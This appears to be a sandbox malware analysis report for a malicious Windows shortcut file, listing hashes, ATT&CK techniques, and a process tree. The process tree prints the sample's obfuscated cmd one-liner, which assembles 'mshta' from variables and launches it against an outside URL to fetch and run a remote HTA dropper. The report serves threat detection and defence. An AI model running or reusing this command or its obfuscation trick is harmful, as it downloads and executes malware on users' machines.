a01e315514560ecc5cc08599fa3759026bbb4944768250085c619eee552979cb

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-7YRVIT.lnk
Size 1KB
Sample260804-kbrk3agb35
SHA256 a01e315514560ecc5cc08599fa3759026bbb4944768250085c619eee552979cb
MD5 a853a75f9619e33d130da456183b7999
SHA1 fc046d2e37101f231551de9d46489681ab0994f1
SHA512 1f49786c5b71644881bc35db3871db6b7a6f80519c7e70598c70a6f65396a48afa6b1a9d2cc06b46b133117db3cc0f57e2c7085f1555dea2b1a37f5ab9ac2bdc
TLSH
T1FA3170503FFD0614F3F38F7794BB572485BBB9668E20C61D0151464C5432A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2300	cmd.exe
3232	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 3232	2300	cmd.exe	91
PID 3232 wrote to memory of 940	3232	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7YRVIT.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set lj=msh&&set ZrGoI=ta&&start "" !lj!!ZrGoI! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads